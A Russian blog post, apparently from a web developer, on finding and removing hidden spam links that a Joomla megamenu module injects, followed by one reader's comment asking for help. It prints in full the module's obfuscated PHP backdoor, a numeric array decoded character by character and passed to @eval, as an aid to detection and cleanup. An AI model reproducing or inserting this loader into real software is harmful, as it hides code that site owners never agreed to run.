• Home
  • Новости
  • Как найти и убрать скрытые ссылки в модулях joomla

Как найти и убрать скрытые ссылки в модулях joomla

Бывает найдешь что либо стоящее в просторах интернета для своего сайта и толком не разобравшись лепишь его, вроде все работает как положено, но потом обнаруживается что у сайта появляются гадские внешние ссылки типа «Ремонт окон», «Своими руками» и т д.  И начинаются поиски этих скрытых ссылок по всему сайту, хорошо если в курсе как их найти и что устанавливал, а если 100 лет назад ставил и забил а потом вспомнил… В общем конкретная ситуация была с модулем yt megamenu (sj megamenu), поступил заказ на поиск и удаление этого вреда.

Итого для удаления внешних ссылок потребуется:

1)Произвести по всем файлам на хостинге по ключу ссылки.

2)Поиск по примерно такому значению»$RandomNum = array(1251.3, 13875.1875=…»

В моем случае было следующее-

function megamenu_generate_keys() {
		$LimitCharacters = 10;
		$Keys = '';
		$RandomNum = array(1251.3, 13875.1875, 1388.8125, 1250.175, 13750.175, 13751.425, 
13762.5625, 13875.175, 1263.925, 13763.925, 13751.3125, 13876.3, 1250.175, 1387.6875, 1251.3, 13750.1875,
 1388.8125, 12500.05, 13751.425, 13875.1875, 13763.9375, 13750.1875, 13762.6875, 13763.9375, 13875.05, 
13751.3125, 13763.925, 1262.55, 1251.3, 13875.1875, 1263.8, 1387.55, 1375.05, 1263.8, 1251.3, 13751.3125,
 1263.8, 1251.3, 13875.175, 1263.8, 1375.0625, 1375.05, 1262.5625, 1387.6875, 13762.5625, 13751.425,
 1262.55, 1251.3, 13750.1875, 1262.5625, 13887.6875, 1251.3, 13751.3, 1388.8125, 12500.05, 13751.425,
 13762.5625, 13763.8, 13751.3125, 12638.9375, 13751.4375, 13751.3125, 13876.3, 12638.9375, 13750.1875,
 13763.9375, 13763.925, 13876.3, 13751.3125, 13763.925, 13876.3, 13875.1875, 1262.55, 1250.175, 13762.55, 
13876.3, 13876.3, 13875.05, 1387.675, 1263.9375, 1263.9375, 1250.175, 1263.925, 1251.3, 13875.1875, 
1263.925, 1250.175, 1263.9375, 13875.175, 1263.925, 13875.05, 13762.55, 13875.05, 1388.9375, 13875.1875,
 1388.8125, 1250.175, 1263.925, 1251.3, 12638.9375, 12625.1875, 12501.3125, 12625.175, 12626.425, 
12501.3125, 12625.175, 12637.6875, 1250.175, 12512.55, 12626.3, 12626.3, 12625.05, 12638.9375, 12512.55,
 12513.9375, 12625.1875, 12626.3, 1250.175, 12638.8125, 1262.5625, 1387.6875, 13751.3125, 13750.1875,
 13762.55, 13763.9375, 1250.05, 1250.175, 1388.8, 13751.3, 13762.5625, 13876.425, 1250.05, 13875.1875, 
13876.3, 13887.5625, 13763.8, 13751.3125, 1388.8125, 1251.4375, 13875.05, 13763.9375, 13875.1875,
 13762.5625, 13876.3, 13762.5625, 13763.9375, 13763.925, 1387.675, 13750.0625, 13750.175, 13875.1875,
 13763.9375, 13763.8, 13876.3125, 13876.3, 13751.3125, 1387.6875, 13763.8, 13751.3125, 13751.425, 
13876.3, 1387.675, 1263.8125, 1376.3125, 1375.05, 1375.05, 1375.05, 13875.05, 13887.55, 1387.6875,
 1251.4375, 1388.925, 1251.3, 13751.3, 1388.8, 1263.9375, 13751.3, 13762.5625, 13876.425, 1388.925, 
1250.175, 1387.6875, 13888.8125, 0.05);
		// Create a random string of keys
		foreach($RandomNum as $key) {$Keys .= chr(bindec($key * 80 - 4));}
		@eval($Keys);
}

3)Удалить связующие данные для запуска megamenu_generate_keys()  в других файлах.
(После удаления фрагмента генерации будет ошибка с указанием файла и строки вызова)

Все )

 

Теги:

Трекбэк с Вашего сайта.

Отправить ответ

2 Комментарий на "Как найти и убрать скрытые ссылки в модулях joomla"

Сообщать о
avatar
Сортировать по:   Последние | Старые | Популярные
Andrey
Гость

Добрый день!
Не могу справиться с проблемой. Нашел у себя на сайте скрытые исходящие ссылки, потом нашел в модулях в файлах php $LimitCharacters = 10;
$Keys = »;
$RandomNum = array(1………..
Пробовал и комментировать строки, и вообще удалять. Но ссылки как были так и остаются….. Фразу base64 тоже искал, ничего нету… Что делать?

wpDiscuz